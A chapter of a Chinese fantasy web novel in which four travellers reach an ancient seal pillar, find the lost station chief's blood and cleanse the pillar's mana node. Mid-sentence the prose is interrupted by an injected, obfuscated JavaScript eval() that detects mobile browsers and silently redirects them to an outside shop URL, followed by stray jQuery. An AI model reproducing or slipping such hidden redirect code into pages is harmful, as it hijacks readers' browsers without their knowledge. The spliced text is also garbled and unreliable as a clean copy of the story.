文趣网 > 其他小说 > 勇者之旅 > 34.第 34 章
    但格蕾塔看出来了。她策马走到穗子旁边,从医疗包裹里拿出一只小布袋,打开,里面是银叶草干粉。她撮了一小撮放在流栖灯手心里。“压-在舌头底下含-着,不要咽。”流栖灯把粉末压-在舌底。银叶草的苦味从舌根蔓延到整个口腔,然后是一阵清凉,从喉咙往上走到鼻腔再走到额头。那层薄纱淡了一些。

    “每个人都有。”格蕾塔把银叶草干粉分给艾莉西亚和玛丽玛丽。“魔力浓度太高了。银叶草能中和一部分吸入的魔力沉积,但不能多用。用多了伤胃。”

    中午她们翻过最后一道石脊。

    封印之地在石脊下面。

    不是城堡,不是巢穴,不是任何她们想象过的样子。是一片凹陷的圆形谷地,直径大约两三百步,边缘被石脊围成一圈天然的墙。谷地中-央立着一根石柱。石柱是暗色的,并非被粉末覆暗的,是石头本身的颜色——一种极深的、近乎黑色的灰。柱身没有任何装饰,没有雕刻,没有文字,就是一根打磨光滑的石柱,直直地戳向淡绿色的天空。石柱周围的地面上刻着一圈一圈的法术阵图,线条从柱根向外辐射,占满了整个谷底。阵图的刻痕里填着一种银色的金属,几百年了没有氧化,在淡绿色的天光下泛着微微的亮。

    这就是封印。不是什么复杂的结构,不是迷宫,不是层层叠叠的防护。就是一根石柱,一片阵图。上古的法师用最简单的形式做了最核心的东西。

    玛丽玛丽在石脊上下了马。脚踩在地面上的时候膝盖软了一下,身体在七级魔力空气里走了五天之后的正常反应。她站稳了,牵着阿灰沿着石脊的缓坡往下走。穗子跟着,然后是长腿,红栎。四匹马走进谷地,蹄子踩在刻满阵图的地面上,金属线条在蹄下发出极轻微的嗡鸣。

    阵图是活的。几百年了,还在运转。

    艾莉西亚蹲下来看地上的阵图线条。银色的金属在魔力作用下保持着半流体的状态,在刻痕里缓缓流动,慢到几乎看不出动,但确实在动。她把手指悬在金属线条上方没有触碰,闭眼感受了一会儿。

    “封印的核心结构还在运转,结构本身没有损坏,是因为魔力供给不足。”她睁开眼站起来。“石柱是魔力汇集点,它从地脉中汲取魔力维持阵图。现在地脉被污染反噬,石柱吸上来的魔力里杂质越来越多,阵图的运转效率就下降了。”

    “能修吗。”流栖灯问。

    “能。”艾莉西亚走到石柱根下,仰头看着柱身。暗灰色的石面打磨得光滑如镜,映出她自己的脸,淡绿色的天光在她脸上染了一层冷色。“需要把石柱从地脉中暂时隔离,让阵图用残余魔力维持最低运转,然后清理石柱底部的魔力汲取节点。节点清理干净了,重新接通地脉,石柱吸上来的魔力就是干净的。”

    “需要多久。”

    “清理节点——如果顺利,半天。不顺利的话,一天到两天。”

    “我们待不了两天。”格蕾塔的声音从石柱另一侧传来。她蹲在谷地边缘的一处凹陷处,手指在地面上抹了一下,指腹沾了一层暗色的粉末。放到鼻子前闻了闻。“这里的魔力浓度,入夜之后还会上升。白天是七级,夜里可能到八级。八级浓度待一-夜,银叶草也护不住。”

    玛丽玛丽站在阵图的中心圈里,看着石柱。站长的名牌在哨站墙上挂了三年。她走进禁域,带了两个人,五天的水。她有没有走到这里?如果走到了,她做了什么?

    石柱根下有一块地方颜色和其她地面不同——不是刻痕里的银色金属,是一小片暗褐色的痕迹,从石柱根-部蔓延到旁边的阵图线条上。干涸的,渗进石面肌理里了。玛丽玛丽蹲下来,手指在暗褐色痕迹上轻轻碰了一下。是血。干了很久的血,久到变成了石头的一部分。

    站长的血。或者是她带来的人的血。她们走到这里了,站长的血洒在石柱根下。

    “站长来过。”玛丽玛丽站起来。“走到这里了。洒了血。然后——”她没有说下去。

    流栖灯站在她旁边,看着那片干涸的血迹。然后她从鞍袋里拿出那只空水囊——几十年或者几百年前,一个走到水源标记下发现水干了的人埋在沙土里的。她把空水囊放在石柱根下,挨着那片干涸的血迹。

    “带到。”她说。

    四个人在石柱下站了一会儿。谷地里没有风,淡绿色的天光罩在头顶,石柱安静地立着,阵图的银色线条在脚下缓缓流动。几百年了,它一直在这里。有人埋水-罐,有人洒血,有人把空水囊放在石柱根下。现在她们站在这里。

    “开始吧。”艾莉西亚把法术书从布袋里拿出来放在石柱根下。翻开,翻到折了角的那一页——地脉隔离法术,在伯爵领学过,没实战过。她把书摊在地上,蹲下来,两手按在石柱根-部的银色阵图节点上。

    流栖灯在她旁边蹲下。“我能做什么。”

    “看着我。如果我手抖了,帮我按住。”艾莉西亚深吸一口气,开始引导魔力。

    石柱根下的银色金属在她的魔力触达时亮了一瞬,温润的、像月光一样的白。光芒从她手掌按着的地方沿着阵图线条往外扩散,一圈一圈,很慢,像水波。流过的地方银色金属的流动速度变慢了,越来越慢,最后停了。阵图没有完全停止运转——石柱顶端还有一层极淡的光晕在明灭,维持着封印最基本的框架。

    艾莉西亚的额头开始出汗。汗珠从发际线渗出来顺着太阳穴往下淌。她的手没有抖,但指节攥白了。流栖灯蹲在旁边注视着她的手,自己的手悬在旁边随时准备按上去。

    格蕾塔在石柱另一侧找到了清理节点需要的材料。不是什么特殊的法术材料,就是水

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551542|203862||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ——她们从青铜水-罐里分装带来的水,几百年前的水。她把水囊打开,按照艾莉西亚说的位置把水缓缓浇在石柱底部的汲取节点上。水流过石面,渗进刻痕里。石面冒起极细的气泡,滋滋的,像在释放积攒了很久的东西。水的颜色从清变成灰白,从灰白变成淡褐,流到地面上的时候已经是深褐色了。节点里的杂质被几百年前的水带了出来。

    这个过程重复了四次。每一次浇下去的水都变脏,第四次之后水的颜色终于不再变深了。格蕾塔用手指摸了摸节点处的石面——光滑了,不再是之前那种微微发涩的手感。

    “干净了。”她说。

    艾莉西亚慢慢收回魔力。石柱根下的银色金属重新开始流动,起初很慢,然后越来越快,恢复了阵图运转的速度。石柱本身亮了一瞬——从根-部到顶端,一道极淡的白光沿着柱身升上去,在顶端停留了一息,然后散进淡绿色的天空里。阵图的银色线条在谷地里重新亮起来,温润的、均匀的亮。几百年了,它本该一直是这个亮度的。

    天空的淡绿色没有立刻消退,但最底层的污染色已经开始变薄了。慢悠悠的,但方向是对的。石柱从地脉中汲取干净魔力的效率在恢复,阵图的净化功能在重新启动。需要时间——几个月,也许几年——但它在好转。

    艾莉西亚坐在地上,背靠着石柱,手放在膝盖上。汗湿的头发贴在额头上,脸色发白。流栖灯把水囊递给她,她接过去喝了一口,呛了一下,然后继续喝。

    “实战过了。”她把水囊放下,声音沙哑。“地脉隔离法术。实战过了。”

    流栖灯在她旁边坐下来,也靠着石柱。“感觉怎么样。”

    “手酸。”

    两个人靠着同一根石柱,肩膀隔着不到一拃的距离。淡绿色的天光正在极缓慢地变淡,虽然天色已经晚了,但谷地里的阵图亮着银色的光,把四个人的脸映得柔和。

    格蕾塔从红栎背上取下锅和剩下的干柴。干柴只剩几根了,她把它们全堆在谷地中-央阵图的一处空白地面上。火升起来,橘红色的火苗在银色的阵图光芒里显得格外暖。锅里的水是从青铜水-罐里分出来的几百年前的水。饼是最后几张了,她掰开泡进汤里。没有肉了,但她往汤里加了一小撮盐——从绿溪镇贝丝灶房里分出来的一小包盐,一直留着。

    四个人围坐在篝火边,端着碗喝汤吃饼。阵图的银色光芒在周围缓缓流动,石柱安静地立在中-央。荒原的风在石脊外面呜呜地吹着,吹不进谷地。谷地里有篝火,有银光,有四个人喝汤的声音。

    流栖灯把碗里的汤喝完,把碗底最后一小块泡软的饼夹进嘴里。嚼完咽下去,她把碗放在膝盖上。

    “回去的路上,我们走慢一点。”她说。

    “为什么。”艾莉西亚的碗还没放下。